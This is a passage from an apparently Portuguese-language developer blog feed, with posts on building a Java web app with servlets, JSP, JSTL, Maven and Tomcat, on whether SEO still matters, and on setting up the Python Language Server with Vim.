    public Tarefa(String nome) {
        this.nome = nome;
    }

    public void setNome(String nome) {
        this.nome = nome;
    }

    public String getNome() {
        return nome;
    }
}

E o servlet deverá ficar parecido com o seguinte:

// src/main/java/webapp/OlaMundoServlet.java
package webapp;

(...)

import webapp.model.Tarefa;

@WebServlet(urlPatterns = "")
public class OlaMundoServlet extends HttpServlet {

    @Override
    protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        List<Tarefa> tarefas = List.of(
                new Tarefa("Tarefa A"),
                new Tarefa("Tarefa B"),
                new Tarefa("Tarefa C")
        );
        req.setAttribute("tarefas", tarefas);

        RequestDispatcher rd = req.getRequestDispatcher("/WEB-INF/index.jsp");
        rd.forward(req, resp);
    }
}

Note que estamos passando uma lista (estática) de tarefas como atributo da requisição (req.setAttribute) que acionará o index.jsp. O próximo passo é imprimir tais tarefas no JSP.

(Unified) Expression Language

O JSP possui um recurso chamado de Scriptlets, que permite que você escreva de forma explícita código Java em arquivos JSP através de scripts (mais ou menos o que podemos ver em linguagens como PHP e ASP). Se você parar para considerar que JSP é no fundo código Java imprimindo HTML, essa ideia não parece ser tão louca assim.

Oras... estamos em 2019, e já estamos cansados de saber que escrever HTML misturado com lógica de negócios não é uma boa ideia.

Renda-se a Sauron! Digo, Java! (inews.co.uk)

A partir da versão 2.0 da especificação do JSP temos uma alternativa chamada "Expression Language" (ou Unified Expression Language, a partir da versão 2.1).

Segundo o Wikipedia:

The Java Unified Expression Language is a special purpose programming language mostly used in Java web applications for embedding expressions into web pages. The Java specification writers and expert groups of the Java web-tier technologies have worked on a unified expression language which was first included in the JSP 2.1 specification (JSR-245), and later specified by itself in JSR-341, part of Java EE 7.

Com ela, ao invés de escrevermos isso (quem teve contato com PHP achará muito familiar):

<li><%= tarefa.getNome() %></li>

Escrevemos isso (similar a qualquer engine de templates):

<li>${tarefa.nome}</li>

A EL não é capaz de realizar operações como um for, por exemplo. Para isso, se quisermos "fugir" do uso de scripts, temos um outro recurso à disposição.

Taglibs

Voltando a citar o material da Caelum:

A Sun percebeu que os programadores estavam abusando do código Java no JSP e tentou criar algo mais "natural" (um ponto um tanto quanto questionável da maneira que foi apresentada no início), sugerindo o uso de tags para substituir trechos de código.

O resultado final é um conjunto de tags (uma tag library, ou taglib) padrão, que possui, entre outras tags, a funcionalidade de instanciar objetos através do construtor sem argumentos.

Com esse recurso, ao invés de escrevermos isso:

<ul>
  <% for (Tarefa tarefa : tarefas ) { %>
  <li><%= tarefa.getNome() %></li>
  <% } %>
</ul>

Escreveremos isso:

<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>

(...)

<ul>
    <c:forEach var="tarefa" items="${tarefas}">
        <li>${tarefa.nome}<li>
    </c:forEach>
</ul>

E embora possa ser tentador cair na armadilha de discutir qual opção é melhor, eu diria que nenhuma delas. Considere uma terceira alternativa, como o Thymeleaf, e não invista muito esforço nesse debate. Estamos em 2019, e discutir sobre JSP x Taglibs é "tão anos 2000".

Por hora, vamos "aceitar" a combinação EL + JSTL.

Aplicando as alterações

Primeiro, precisamos alterar os atributos do nó web-app, do arquivo web.xml:

<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app
        xmlns="http://java.sun.com/xml/ns/javaee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd" version="3.0">

<display-name>Archetype Created Web Application</display-name>
</web-app>

Na sequência, precisamos instalar a interface de JSTL, bem como sua implementação. Altere o arquivo pom.xml para ficar semelhante ao seguinte:

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.kplaube</groupId>
    <artifactId>ola-mundo</artifactId>
    <packaging>war</packaging>
    <version>1.0-SNAPSHOT</version>
    <name>ola-mundo Maven Webapp</name>
    <url>http://maven.apache.org</url>

    <properties>
        <maven.compiler.source>11</maven.compiler.source>
        <maven.compiler.target>11</maven.compiler.target>
    </properties>

    <dependencies>
        <!-- Servlet -->
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>javax.servlet-api</artifactId>
            <version>4.0.1</version>
            <scope>provided</scope>
        </dependency>

        <!-- JSTL -->
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <version>1.1.2</version>
        </dependency>
        <dependency>
            <groupId>taglibs</groupId>
            <artifactId>standard</artifactId>
            <version>1.1.2</version>
        </dependency>
        <dependency>
            <groupId>taglibs</groupId>
            <artifactId>c</artifactId>
            <version>1.1.2</version>
            <type>tld</type>
        </dependency>
    </dependencies>

    <build>
        <finalName>ola-mundo</finalName>
        <plugins>
            <!-- Tomcat plugin -->
            <plugin>
                <groupId>org.apache.tomcat.maven</groupId>
                <artifactId>tomcat7-maven-plugin</artifactId>
                <version>2.2</version>
                <configuration>
                    <path>/</path>
                    <contextReloadable>true</contextReloadable>
                </configuration>
            </plugin>
        </plugins>
    </build>
</project>

Já o HTML, no arquivo index.jsp, deve ficar parecido com o seguinte:

<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
<html>
  <body>
    <h2>TODO list</h2>

    <form action="" method="post">
      <label>
        Tarefa:
        <input type="text" name="nome" required="required" />
      </label>

      <input type="submit" value="Salvar" />
    </form>
    <ul>
      <c:forEach var="tarefa" items="${tarefas}">
        <li>${tarefa.nome}</li>
      </c:forEach>
    </ul>
  </body>
</html>

Reinicie o Tomcat, e ao acessar o endereço http://localhost:8080, você deve obter o seguinte resultado:

Exemplo de visualização com aplicação de Taglibs

Considerações finais

Embora haja uma forma programática de formularmos o deployment descriptor da aplicação, ainda assim precisamos lidar com escrita de XML que em muitos casos parecem ser alterações exotéricas. Mesmo com a Servlet 3.0, não escapamos dessa espécie de "karma" que é lidar com a linguagem Java.

No entanto, frameworks como o Spring tendem a eliminar essa necessidade, tornando tudo um pouco mais interessante, principalmente para desenvolvedores acostumados com ambientes mais "dinâmicos" como Python, Ruby ou Node.js. Mas infelizmente, não atacaremos essa transição no próximo post...

No próximo artigo, finalizaremos a prototipação com a parte da adição da tarefa. Abordaremos brevemente filtros e listeners, e fecharemos essa parte da trinca Servlet + Tomcat + Maven.

Até lá.

Referências

Engatinhando em Java para a web - Parte 1

Thu, 28 Nov 2019 11:35:00 GMT

Uma constante nesses dois últimos anos da minha vida profissional tem sido "reavaliar" algumas opiniões que tive durante a minha carreira. Não à toa costumo escrever alguns artigos do tipo "eu me rendo". Já me rendi ao VS Code, ao uso de IDEs, e até mesmo ao React. Agora chegou a hora do Java.

Python ainda é de longe a minha linguagem favorita. Mas acabei "caindo de paraquedas" no mundo Java (principal linguagem usada aqui na Tradeshift), e assim como o Python enriqueceu o meu conhecimento quando me rendi a ele (minha primeira linguagem foi o PHP), o Java tem feito o mesmo.

Come join the dark side (craigblower.wordpress.com)

Após essa longa argumentação exibindo a motivação por trás desse post, vamos ao que interessa: Java para a web pode ser divertido...

... só precisa ter um pouquinho de paciência.

Linguagem x Ambiente

Parece chover no molhado, mas quando falamos em Java temos que levar sempre em consideração que estamos referenciando duas coisas: A linguagem de programação e a plataforma.

Sobre a linguagem, é exatamente aquele mesmo discurso que a gente já está cansado de ouvir: Orientada a objetos, de alto nível, estática e de tipagem forte.

Noooooooooooooooooooooooo (starwarsanon.wordpress.com)

Plataformas e a sopa de letrinha

As plataformas Java possuem a Java Virtual Machine (JVM) e uma API (Application Programming Interface). A primeira é quem "executa" aplicações Java para uma determinada plataforma de hardware e software. Já a segunda é uma coleção de componentes usados para criação de outros componentes e aplicações.

A Java Runtime Environment (JRE) provê o ambiente necessário para executar aplicações Java. Inclui implementação da JVM juntamente com bibliotecas e outros arquivos necessários para sua execução.

Diagrama da relação entre a JRE e a JVM (javatpoint.com)

Para escrever código Java utiliza-se um conjunto de ferramentas de desenvolvimento chamado de Java Development Kit (JDK). Entre essas ferramentas está o compilador, o debugger Java, e a própria JRE.

Diagrama da relação entre a JDK, JRE e a JVM (javatpoint.com)

O Java é uma linguagem de propósito genérico, portanto, há diferentes especificações (e fatalmente implementações) que auxiliam na construção de soluções para diferentes fins. As mais mencionadas sendo:

Java Standard Edition (SE): Disponibiliza as funcionalidades "core" da linguagem. De tipos básicos a classes de alto nível que lidam com networking, segurança, parsing, math, entre outros. Além disso, consiste de máquina virtual, ferramentas de desenvolvimento, tecnologias de deployment, etc;
Java Enterprise Edition (EE): Construída em cima da anterior, disponibiliza API e ambiente de execução para ambientes "enterprise" de larga escala e distruídos. Aqui encontraremos os componentes mais comuns para construção de aplicações web;
Java Micro Edition (ME): Também construída em cima da SE, disponibiliza uma máquina virtual própria para dispositivos menores (como smartphones e embarcados).

Confuso? Isso que nem falamos de OpenJDK...

Tudo começa pelo servidor de aplicação

O motivo no qual estamos lidando com essa quantidade de acrônimos é para compreendermos que, quando estamos falando do servidor de aplicações (que será o ambiente no qual executaremos a nossa aplicação web), estamos falando do "domínio" do Java EE.

Segundo a apostila de Java para web, da Caelum:

(...) o Java EE é um grande conjunto de especificações. Essas especificações, quando implementadas, vão auxiliar bastante o desenvolvimento da sua aplicação, pois você não precisará se preocupar com grande parte de código de infraestrutura, que demandaria muito trabalho.

Ainda citando a fonte acima:

Existem diversas dessas implementações. Já que esse software tem papel de servir sua aplicação para auxiliá-la com serviços de infraestrutura, esse software ganha o nome de servidor de aplicação. A própria Sun/Oracle desenvolve uma dessas implementações, o Glassfish que é open source e gratuito (...).

Vamos utilizar uma ferramenta que implementa apenas parte da especificação do Java EE, não sendo por definição um "servidor de aplicação completo", mas nem por isso deixando de atender nossos requisitos. No momento, só estamos interessados no Java ServerPages (JSP) e em Servlets, e há um software extremamente popular que entrega isso para a gente.

Tomcat

Segundo o Wikipedia:

Apache Tomcat (sometimes simply "Tomcat") is an open source implementation of the Java Servlet, JavaServer Pages, Java Expression Language and WebSocket technologies. (...) provides a "pure Java" HTTP web server environment in which Java code can run.

Exatamente o que precisamos!

Instalá-lo é simples:

Faça o download no tomcat.apache.org;
Descompacte no diretório de sua preferência;
Tenha certeza que o arquivo startup.sh tem permissão de execução;
Execute o arquivo;
Abra o endereço http://localhost:8080;
Se tudo estiver certo, você deve ver a mensagem em verde If you're seeing this, you've successfully installed Tomcat. Congratulations!.

Exemplo de execução do Tomcat via terminal

Mas a maneira que considero mais prática é manuseá-lo através de alguma ferramenta de build. No caso desse tutorial, usaremos o Maven.

Não esqueça de desligar o Tomcat através do ./shutdown.sh.

Maven

Com o Maven você controlará grande parte do ciclo de vida da sua aplicação, resolvendo dependências, executando testes, compilando o projeto, etc. Com ele você pode também criar o projeto utilizando o arquétipo de webapp, como ilustrado no exemplo abaixo:

$ mvn archetype:generate
    -DgroupId=com.kplaube
    -DartifactId=ola-mundo
    -DarchetypeArtifactId=maven-archetype-webapp
    -DinteractiveMode=false

Onde:

-DgroupId: O namespace utilizado para empacotamento
-DartifactId: O nome do projeto
-DarchetypeArtifactId: O nome do "template" usado como base para criar arquivos e diretórios
-DinteractiveMode: Desabilitar o modo interativo

Uma porção de pacotes serão baixados. Sente e relaxe... aproveite para ver mais informações sobre como instalar o Maven.

Ainda falta "linkar" o Tomcat ao processo de build. Entre no diretório ola-mundo, recém criado, e abra o arquivo pom.xml (Project Object Model, arquivo utilizado pelo Maven). Altere-o para ficar parecido com o exemplo abaixo:

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.kplaube</groupId>
    <artifactId>ola-mundo</artifactId>
    <packaging>war</packaging>
    <version>1.0-SNAPSHOT</version>
    <name>ola-mundo Maven Webapp</name>
    <url>http://maven.apache.org</url>
    <build>
        <finalName>ola-mundo</finalName>
        <plugins>
            <!-- Tomcat plugin -->
            <plugin>
                <groupId>org.apache.tomcat.maven</groupId>
                <artifactId>tomcat7-maven-plugin</artifactId>
                <version>2.2</version>
                <configuration>
                    <path>/</path>
                    <webapps>
                        <webapp>
                            <contextPath>/</contextPath>
                            <groupId>com.kplaube</groupId>
                            <artifactId>ola-mundo</artifactId>
                            <version>1.0-SNAPSHOT</version>
                            <type>war</type>
                            <asWebapp>true</asWebapp>
                        </webapp>
                    </webapps>
                </configuration>
            </plugin>
        </plugins>
    </build>
</project>

De volta à linha de comando:

$ mvn tomcat7:run

O Maven "baixará toda a internet" novamente. Ao final do processo, ao acessar o endereço http://localhost:8080, será possível ver a página com Hello World!.

Exemplo de acesso ao Tomcat via browser

"Só" precisou de um post inteiro para chegarmos até aqui. Sucesso!

Considerações finais

Um monte de mágica aconteceu, e você (assim como eu no meu cotidiano) terá que confiar que as coisas simplesmente estão funcionando.

Por enquanto, vamos abstrair os detalhes do Maven. Corremos um pouco aqui no final para ter algo prático como exemplo, mas com certeza abordaremos a ferramenta com frequência nos próximos posts.

Por hora, é preciso "aceitar" que com o uso do tomcat7-maven-plugin ganhamos o utilitário de linha de comando tomcat7:run, do qual empacota e executa a aplicação. E embora tenhamos investido parágrafos falando de Java EE, e posteriormente de Tomcat, na prática nota-se que pouco precisamos nos importar com isso para ter um "hello world" up and runnig com "investimento modesto".

No próximo artigo partiremos enfim para os Servlets e Java ServerPages.

Até lá!

Referências

SEO ainda é relevante?

Tue, 20 Aug 2019 16:05:00 GMT

Se há uma constante em desenvolvimento de software é o hype. Hoje vivemos o buzz ao redor de microservices, machine learning e blockchain. Mas há algum tempo um dos hypes que varreu o mundo do desenvolvimento web foi o SEO (ou Search Engine Optimization).

Quem aqui nunca fez um freela de "otimização para mecanismos de buscas" que atire a primeira pedra.

Eu (ainda) preciso me importar com SEO?

Essa pergunta tem rondado a minha cabeça nos últimos meses...

(Infelizmente) tenho me distanciado cada vez mais do desenvolvimento utilizando Python e Django, e portanto, a oportunidade de escrever sobre a linguagem tem diminuído consideravelmente. Logo, o título da página inicial "Python, Django e desenvolvimento" começa a perder o sentido.

Você pode me sugerir: É só colocar uma metatag robots com noindex,follow, e fazer com que os robôs indexem apenas as páginas de artigos; E aí vem a minha pergunta: Em 2019, ainda precisamos dizer para os mecanismos de busca como eles devem se comportar?

Long story short: Sim.

Recapitulando: SEO - Search Engine Optimization

Fui na segunda página dos resultados de busca do DuckDuckGo para achar uma boa definição de SEO:

Como a própria tradução já sugere, SEO é uma otimização para os motores de busca, isto é, um conjunto de técnicas que influenciam os algoritmos dos buscadores a definir o ranking de uma página para determinada palavra-chave que foi pesquisada.

Os sites de buscas (como Google), de forma bem genérica, utilizam um processo composto por três passos:

Rastreamento: Onde o robô identifica e prioriza as páginas que devem ser indexadas;
Indexação: São armazenadas informações como conteúdo da página, data de publicação, região da publicação, título, descrição, etc;
Exibição de resultados: A consulta realizada pelo usuário, sendo que o resultado é alterado de acordo com a relevância da busca.

Quando falam em robôs de busca, eu imagino os robôs do filme Chappie (wearemoviegeeks.com)

O trabalho do profissional de SEO tem sido fazer com que determinado conteúdo seja encontrado pelos robôs de busca, bem como que ele ganhe prioridade e relevância, dado um contexto de busca. Além disso, facilitar a indexação proporcionando um conteúdo acessível e bem estruturado faz parte desse esforço.

Pode até parecer um serviço simples, mas os fatores que determinam o ranqueamento das páginas são inúmeros (como por exemplo, seu site possuir HTTPS ou ser mobile friendly), e nem todos são necessariamente conhecidos pelo grande público. E até mesmo os amplamente conhecidos necessitam de um trabalho rebuscado, como por exemplo, a estratégia de link building.

Otimizar é preciso?

O Resultados Digitais traz um bom argumento para continuarmos a se importar com SEO:

A otimização de sites para mecanismos de buscas é feita para alcançar o usuário entregando a resposta que ele procura com o formato ideal, oferecendo a melhor experiência possível no ambiente da marca e seguindo as diretrizes dos buscadores.

Do ponto de vista de estratégia de marketing, é sim interessante que o conteúdo do seu site possua um público alvo bem definido, e que artifícios sejam utilizados para "assegurar" que o conteúdo esteja chegando a esse público. Partindo dessa ótica, o mercado de digital é super aquecido e soluções vem e vão o tempo todo. Seria no mínimo inocente de nossa parte acreditar que somente ao realizar um bom trabalho técnico estamos cumprindo todas as expectativas em relação ao retorno sobre o investimento.

As possibilidades vão desde a qualidade do conteúdo, design, passando pela sua característica de "freshness" ou não, até táticas de crescimento como uso de anúncios patrocinados e viralização.

Do ponto de vista de desenvolvimento de software, se seguirmos as boas práticas de desenvolvimento web possivelmente estaremos produzindo uma solução "SEO friendly". URLs amigáveis, boa performance (velocidade), markup semântico, etc. São algumas das práticas top of mind, mas na realidade temos algumas outras que possuem impacto de igual importância.

Checklist

Quando trabalhei no Globoesporte.com, uma das garantias de bom resultado nos mecanismos de busca era sempre fazer um site acessível. Naquela época isso era "facilmente" validado com um leitor de telas, ou assegurando que pessoas com dificuldade motora pudessem navegar pelo site.

Anote aí no seu caderninho para entender a referência depois (marvelcinematicuniverse.wikia.com)

Mas naquela época também havia todo um time de arquitetos da informação para ajudar na estruturação de conteúdo, markup e rotas.

Hoje em dia, além desses fundamentais aspectos, possuímos alguns outros que devem ser levados em consideração ao se construir um site ou aplicação "SEO-friendly".

Para me ajudar a compreender tais aspectos, utilizei o site Woorank para gerar um checklist do que é necessário cumprir quando o assunto é otimização.

Markup & conteúdo

title: É fundamental possuir a tag <title></title>, e que ela de forma concisa explique do que se trata o seu conteúdo/aplicação.
description: Com o uso da <meta name="description" content="..." /> somos capazes de descrever a página e influenciar em como ela será exibida em um resultado de busca. É recomendado algo em torno de 70 e 160 caracteres, e que a descrição contenha as keywords mais importantes do seu conteúdo.
headings: De <h1> a <h6>, os títulos são uma grande forma de estruturar o seu conteúdo. Possuir as palavras-chaves mais importantes neles impacta positivamente o ranqueamento.
Atributo alt: Textos alternativos são importantes para imagens. Leitores de tela usarão esse atributo para descrever a imagem para os seus usuários.

Nos itens acima temos a responsabilidade dividida: Enquanto o desenvolvedor se compromete em produzir um HTML válido e bem estruturado, a produção de conteúdo se compromete em produzir títulos e palavras-chaves relevantes para o assunto sendo publicado.

Gestão de URLs

Links quebrados: Um problema grave e que deve ser evitado sempre. Teoricamente abalam a reputação do seu site, e sem dúvida nenhuma prejudicam a usabilidade. Ferramentas como o Google SearchConsole são fundamentais para prevenir esse tipo de problema.
Resolução www: Com o HTTPS, é normal solicitarmos ao navegador do usuário o redirect para a versão segura, quando o acesso é realizado via HTTP. O domínio HTTPS deveria ser sempre o seu "preferred domain", mesmo se o usuário utilizar o prefixo www. na URL.
robots.txt: É a forma de você informar aos robôs que determinadas páginas ou diretórios não precisam ser acessados. Útil para ocultar áreas restritas ou de testes do seu site dos mecanismos de busca.
sitemap.xml: Um mapa do site legível para robôs. Nele, além de especificar as URLs, você também pode descrever a sua prioridade, última atualização, com qual frequência a mesma muda, etc.
URLs amigáveis: URLs sem underscore, sem parâmetros (como noticia.php?id=421), e que de fato fazem algum sentido para o usuário. URLs amigáveis são preferidas pelos mecanismos de buscas, e se pensarmos pelo "humano" da coisa, é mais fácil para seu público identificar e até memorizar a rota para um conteúdo. Sem contar que palavras-chave na URL são um plus para o ranqueamento.
Domínio: Evite domínios longos. Prefira descrever alguma página levando em consideração a sua URL completa (exemplo: meusite.com/produtos/camiseta).

Nessa categoria temos uma presença mais técnica. Utilizar ferramentas como o SearchConsole ajuda a identificar problemas com URL. Ter um CMS que produza URLs amigáveis é mais que obrigatório, e gerenciar artefatos como robots.txt e sitemap.xml deve fazer parte do pipeline de produção do seu conteúdo.

Outros

favicon: Faz parte da sua marca, portanto, essencial.
Assets: Minificados, comprimidos e cacheáveis (essa tática pode mudar caso você suporte amplamente HTTP/2).
Performance: Relacionado com o item acima, mas com maior profundidade. Métricas como Time to First Byte são importantes e precisam ser monitoradas. O Google PageSpeed é fundamental nesse processo.
Idioma: Especificar o idioma pode ajudar o navegador do usuário a lidar com traduções e renderização de fontes e textos.

Aqui é chover no molhado para quem já tem certa experiência com web. Amplamente técnico, e parte de qualquer build e dashboard de métricas.

Conteúdo estruturado

Embora um HTML bem escrito, com tags da HTML5, teoricamente seja o suficiente para uma boa apresentação e compreensão do conteúdo, você sempre pode dar um passo além e adicionar mais marcação que traga ainda mais significado ao seu texto.

O Open Graph protocol é uma maneira de enriquecer o seu documento através de markup simples, que acrescentam metadados e resultam em uma melhor interação com as redes sociais. Em outras palavras, são as propriedades og:

<html prefix="og: http://ogp.me/ns#">
  <head>
    <title>The Rock (1996)</title>
    <meta property="og:title" content="The Rock" />
    <meta property="og:type" content="video.movie" />
    <meta property="og:url" content="http://www.imdb.com/title/tt0117500/" />
    <meta
      property="og:image"
      content="http://ia.media-imdb.com/images/rock.jpg"
    />
    ...
  </head>
  ...
</html>

Dessa forma você possui maior controle sobre como o seu documento irá se "comportar" quando interagindo com o Facebook (por exemplo). Leia mais sobre Open Graph.

Uma maneira de dar significado a cada pedaço do seu conteúdo é através do Schema.org. Se você utilizar o vocabulário com Microdata, é possível aplicar semântica com pouca alteração no seu HTML:

<div itemscope itemtype="http://schema.org/Movie">
  <h1 itemprop="name">Avatar</h1>
  <span
    >Director: <span itemprop="director">James Cameron</span> (born August 16,
    1954)</span
  >
  <span itemprop="genre">Science fiction</span>
  <a href="../movies/avatar-theatrical-trailer.html" itemprop="trailer"
    >Trailer</a
  >
</div>

Note a presença de atributos como itemscope, itemtype e itemprop. Leia mais sobre Schema.org.

Aqui, estamos falando de uma tarefa dividida entre o desenvolvedor e o arquiteto da informação. Não acredito que a sua utilização fará alguma diferença para o usuário em seu navegador, porém, outras "máquinas" (como o Facebook ou a busca do Google) podem tirar proveito disso para entender mais sobre o seu conteúdo.

Mobile

Praticar o Mobile-First, é uma prática mais que essencial no seu processo de desenvolvimento. O Google possui uma ferramenta bem interessante que valida se o seu website está otimizado para dispositivos móveis.

Puramente técnica essa parte, com responsabilidade dividida entre engenharia, design e arquitetura da informação. Se você estiver utilizando Responsive Design e pensando na renderização do site primeiro no mobile, você já está no caminho certo.

Considerações finais

Do ponto de vista do desenvolvedor web, produzir uma solução seguindo as boas práticas amplamente conhecidas no mercado (de desenvolvimento, segurança e performance), e tendo como ponto focal o usuário e sua usabilidade/acessibilidade, produzirá quase o mesmo resultado que desenvolver orientado à otimizações para mecanismos de busca.

Mas vale levar em consideração que a técnica não para por aí. Design e arquitetura da informação também são fundamentais para atingirmos tais resultados. Não subestime o seu time de UX! Eles provavelmente entendem mais sobre o comportamento e contexto do usuário do que você (programador).

Ainda há o aspecto de marketing e publicidade do conteúdo. Essa é uma área na qual eu sou um completo ignorante, portanto, só posso imaginar que exista uma gama de práticas e ferramentas que devem fazer parte do dia a dia desse profissional.

Talvez a palavra "otimizar" dê a impressão que "algo além" deva ser feito para atingir determinados resultados. E no fim das contas, isso faz sentido. SEO abrange diferentes disciplinas que, separadas podem resultar em produtos razoáveis, mas que unidas em um objetivo comum são mais propensas a ter um bom resultado.

De qualquer forma, dar uma ajudinha na indexação do seu conteúdo não faz mal a ninguém.

Referências

Resultados Digitais: Tudo sobre Search Engine Optimization

LSP e o PyLS

Fri, 24 May 2019 10:53:00 GMT

Uma das virtudes do VS Code é como ele integra-se facilmente com diferentes linguagens. O esforço é pequeno, geralmente resumindo-se à instalação de um único plugin. Essa característica o torna uma ferramenta extremamente produtiva, e que vem conquistando o coração dos desenvolvedores ao redor do mundo.

O curioso é que o VS Code utiliza um protocolo aberto para ter esse "jeitão" de IDE, chamado Language Server Protocol, que entre outras funcionalidades traz ao editor a possibilidade de autocomplete, go to definition, diagnosis e documentation.

É... Microsoft popularizando protocolos abertos. Tempos interessantes esses que vivemos, não?

LSP - Language Server Protocol

Durante o desenvolvimento do VS Code, a Microsoft introduziu o Language Server Protocol. O langserver.org o define da seguinte forma:

The Language Server protocol is used between a tool (the client) and a language smartness provider (the server) to integrate features like auto complete, go to definition, find all references and alike into the tool.

Em outras palavras, é um protocolo que descreve a comunicação entre um cliente (um editor de textos, por exemplo) e um servidor (ligado à uma determinada linguagem), com a motivação de proporcionar e enriquecer ferramentas de desenvolvimento.

Ilustração de como funciona a comunicação entre cliente e servidor (kieranbamforth.me)

Ou seja, podemos ter uma solução única para Python, que traga as mesmas funcionalidades para diferentes editores ou IDEs. Em contrapartida, podemos ter um único editor que suporte diferentes linguagens e tais funcionalidades avançadas. O langserver.org chama esse problema de "The Matrix Problem":

Com LSP, temos Go funcionando para diferentes editores, seguindo os mesmos princípios (langserver.org)

Como afirma o site oficial do projeto:

LSP is a win for both language providers and tooling vendors!

Como funciona?

Na prática, o que acontece é uma comunicação inter-processos entre o language server e a ferramenta de desenvolvimento. O protocolo utilizado para tal operação é o JSON-RPC, um protocolo simples, e com um formato de dados extremamente popular.

Exemplo de como funciona a comunicação entre cliente e servidor (microsoft.github.io)

Nem toda linguagem pode suportar todas as funcionalidade definidas pelo protocolo (o mesmo vale para as ferramentas de desenvolvimento), mas isso não impede a sua adoção. O protocolo permite que tanto cliente como servidor "anunciem" suas capacidades, portanto, as duas pontas podem ter um comportamento preventivo quando determinada capacidade (como go to definition) não é suportada.

PyLS - Python Language Server

Para Python, além do language server implementado pela própria Microsoft e usado no VS Code, temos o Python Language Server. Ele conta com as seguintes funcionalidades:

Auto completion
Code linting
Signature help
Go to definition
Hover
Find references
Document symbols
Document formatting

O que acho mais interessante em relação ao projeto é que ele não reinventa a roda. Por exemplo, ele não implementa uma nova ferramenta de linting, pelo contrário, ele utiliza ferramentas que já são bem conhecidas pela comunidade:

Auto completion, definitions, hover, references, signature help e symbols são resolvidos via Jedi
Auto completion e renaming é resolvido via Rope
Linting é resolvido via McCabe, Pyflakes, pycodestyle e pydocstyle
Formatting é resolvido via autopep8 e YAPF

Há um certo grau de customização, como por exemplo usar o Black ao invés de YAPF. Discutiremos mais sobre esse tópico a seguir.

Clientes LSP

Segundo o langserver.org, os principais IDEs e editores já possuem alguma forma de cliente implementado. Seja através de extensões (como JetBrains IDE, Vim, Sublime, Atom e Emacs), ou através de suporte built-in (como VS Code e Oni).

Sauron faz um anel para juntar a todos. Sem querer comparar Microsoft com Sauron, mas espero que isso não acabe em uma guerra (lego-lord-of-the-rings.wikia.com)

Para Vim, uma opção que tenho usado com sucesso é o LanguageClient-neovim, que embora possa parecer exclusivo para o Neovim, possui suporte para Vim 8.x.

Na prática

Configurando o servidor

Vamos para um exemplo prático de como usar LSP e Vim com Python. Mas antes, deixa eu definir algumas constraints do meu ambiente de desenvolvimento:

Quero utilizar flake8 ao invés de pycodestyle;
Quero utilizar Black ao invés de YAPF ou autopep8;
Quero utilizar isort como uma das opções de formatação.

Para começar, vamos instalar o language server. Eu prefiro tê-lo dentro do ambiente virtual do projeto em que estou trabalhando. É trabalhoso e repetitivo se você estiver trabalhando em diferentes projetos e virtualenvs! Uma alternativa mais prática é tê-lo instalado em uma instância global do pyenv. Fica a seu critério o destino da instalação:

$ pip install python-language-server

O próprio servidor identificará quais ferramentas você tem instaladas e habilitará determinada capacidade proporcionada por tal ferramenta (por exemplo, se o Rope estiver instalado, será capaz de fazer renaming). Mas dentre elas o Jedi é fundamental, e por isso é instalada automaticamente como dependência do PyLS.

Nesse momento temos grande parte das funcionalidades cobertas pelo LSP habilitadas pelo servidor. Uma muito útil, que ainda está faltando, é o renaming. Segundo a lista acima, conseguimos tal capacidade ao instalar o Rope:

$ pip install 'python-language-server[rope]'

Se você está interessado em utilizar a configuração padrão do python-language-server, uma opção mais prática é instalar todos os providers de uma só vez:

$ pip install 'python-language-server[all]'

Para fins didáticos estamos resolvendo as dependências manualmente. Há uma outra forma de gerenciar quais providers serão utilizados, que discutiremos a seguir.

Para termos o isort e o Black habilitados como ferramentas de formatação, precisaremos recorrer à plugins de terceiros:

$ pip install pyls-isort pyls-black

Infelizmente, o pyls-black exige que você não tenha o autopep8 instalado para funcionar. Como não há um controle manual para decidir qual será usado, a melhor forma é garantindo que apenas uma das duas extensões esteja instalada.

Temos tudo o que é necessário para o lado do servidor.

Configurando o cliente

A melhor forma de instalarmos o LanguageClient-neovim é através do utilitário Plug:

" ~/.vimrc

Plug 'autozimu/LanguageClient-neovim', {
    \ 'branch': 'next',
    \ 'do': 'bash install.sh',
    \ }

Plug 'junegunn/fzf'

Ele funciona muito bem com o fzf, portanto, é uma boa pedida termos os dois disponíveis.

O próximo passo é informar ao cliente como encontrar o servidor da linguagem:

" ~/.vimrc

(...)

let g:LanguageClient_serverCommands = {
    \ 'python': ['pyls'],
    \ }

Ainda precisamos dizer ao LSP sobre as nossas preferências. O arquivo abaixo está situado na raíz do projeto que estou trabalhando, mais especificamente em ./.vim/settings.json:

{
  "pyls": {
    "configurationSources": ["flake8"],
    "plugins": {
      "yapf": {
        "enabled": false
      }
    }
  }
}

Para fins didáticos adicionei o yapf à configuração. Alguns plugins possuem a flexibilidade de mesmo que instalados, poderem ser desabilitados.

Pronto! O cliente está configurado, e com os seguintes comandos você pode explorar todas as funcionalidades do LSP:

Ctrl+x Ctrl+o: Auto completion via Omni completion (o Deoplete é uma boa pedida)
:call LanguageClient#textDocument_definition(): Go to definition
:call LanguageClient#textDocument_hover(): Hover
:call LanguageClient#textDocument_references(): References
:call LanguageClient#textDocument_documentSymbol(): Lista de Symbols
:call LanguageClient#textDocument_rename(): Renaming
:call LanguageClient#textDocument_formatting(): Formatting
:call :call LanguageClient_contextMenu(): Menu de contexto mostrando todas as opções disponíveis

Exemplo do LSP funcionando com o Vim

Agora é só configurar os key bindings e correr para o abraço :)

Referências

Algoritmos de ordenação - Parte 1

